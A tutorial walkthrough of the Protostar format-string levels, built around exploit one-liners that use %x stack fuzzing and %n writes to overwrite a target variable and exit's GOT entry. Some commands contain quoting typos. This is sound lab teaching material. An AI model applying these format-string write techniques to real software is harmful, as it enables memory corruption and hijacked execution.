Before I start the tutorial i will throw in a bunch of articles/blogs etc which were of immense help -

The Stanford Paper , Syracuse’s notes , this site , fuzzysecurity, and obviously phrack ,2. Also random tutorials on youtube / securitytube can be of help.

Format 0

This is pretty straight forward
./format0 %64x`python -c "print '\xef\xbe\xad\xde'"
Traverse 64 bytes in memory and write deadbeef into the target. Done -_-

Format 1
./format1 $ (python -c "print '\x38\x96\x04\x08'")'ax%128$n'
After fooling around with some fuzzing, it looked like A’s were being written after 128th traversal using %x. That can be found by throwing in the following command ->
./format1 AAAAAAAA 'python -c "print '%x.'*128"`
This basically prints all locations in memory and a bunch of AAA’s would be printed as 0x41414141.

To make this more easier in terms of fuzzing , a loop could be run in python which prints a counter along with the “.” as follows

./format1 AAAAAAAA'python -c 'print ".".join(["%d_%%x" % i for i in range(1,140)])'

So the above essentially prints 1%x.2%x.3_%x and so on…

Format 2
This level introduces the user to %n which basically writes the number of bytes read into a specific memory location; real-life scenarios would include overriding access controls in programs (uid etc ?) Main objectives - Overwrite target (global variable) with 64.

[email protected]:/opt/protostar/bin$ objdump -t format2 | grep target
080496e4 g     O .bss   00000004              target
[email protected]:/opt/protostar/bin$
python -c 'print "\xe4\x96\x04\x08%60x%4$n"' | ./format2

First is address of target, 4 bytes are read there, then 60 bytes are popped off the stack, then we reach back to the string which is address of the target stored on our buffer. Here we drop a %n which writes the number of bytes read into the memory

Format 3

This was an eye-opener for me because writing “bytes” arbitrarily seemed trivial to me and then i met this exercise which talked about writing to a specific location of your own choosing in memory.

080496f4 (target location)
TARGET value =>> 0x01025544
Find offset python -c 'print "AAAA"+".".join(["%d_%%x" % i for i in range(1,16)])' | ./format3 And now we know the offset is 12
python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%12$n%13$n%14$n%15$n"' | ./format3

This fails and gives us target is 10101010.It is because we read/ pop 4 bytes of memory off the stack and write using %12, %13 etc to adjacent memory locations. This would effectively not work since we have a pretty different end target (0x01025544) to be achieved.

Every 4 byte written = 16 in decimal-> 10 in hex (when you use %n ).Also note that we use little endian formatting
To get 44 do the following hex calculation -> 0x44 - 0x10 = 0x34 (hex) => 52 So next try yields -
python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%52x%12$n%13$n%14$n%15$n"' | ./format3 target is 44444444 :( Since we put %52 the program is going to read 52 bytes and then write that into the addressees we specify with the same Now we need 55 in the f5 address Do 0x55 - 0x44 = 0x11 -> 17
python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%52x%12$n%17x%13$n%14$n%15$n"' | ./format3 55555544

The above fills up 44 in f4, 55 in f5 and the rest since no other %x (read operation) has happened.
Now comes to cool part, since the next byte required is 02; a user can’t input negative numbers directly but can do an integer overflow ;)
Therefore subtract 0x102-0x55 = 0xad ( 173 decimal)

python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%52x%12$n%17x%13$n%173x%14$n%15$n"' | ./format3 target is 02025544 :(
Now we need 01 so again overflow lulz 0x101-0x2= 0xff ( 255)
python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%52x%12$n%17x%13$n%173x%14$n%255x%15$n"' | ./format3 you have modified the target :)

Format #4

The endgame of this exercise is to change the target to the address of hello() to get that executed. Enter GoT (not game of thrones -_-) - the Global offset table This paper was pretty useful The address of hello is at 0x80484b4 which can be obtained by objdump -d format4 | grep hello

Notice that there is a exit() [Address - 0x8049724 ] in the vuln() function. Our objective would be to overwrite the address that exit has which points to some obscure libc stuff with the address of hello().

Once again we do the same procedure as format 3 deciphering how a specific number of reads can write data to any arbitrary address in memory
> target - 0x080484b4
0xb4-0x10 = a4( 164)
84 - 0xb4 = -48 _> 0x184 - 0xb4 = 208 [ to induce overflow ]
0x04-0x84 = -128 => 0x104 - 0x084 = 128 [ to induce overflow ]
0x08 - 0x04 = 4 => 0x108 - 0x04 => 260 [ - }]

Finally the end code looks like ->
python -c 'print "\x24\x97\x04\x08"+"\x25\x97\x04\x08"+"\x26\x97\x04\x08"+"\x27\x97\x04\x08"+"%164x%4$n%208x%5$n%128x%6$n%260x%7$n"' | ./format4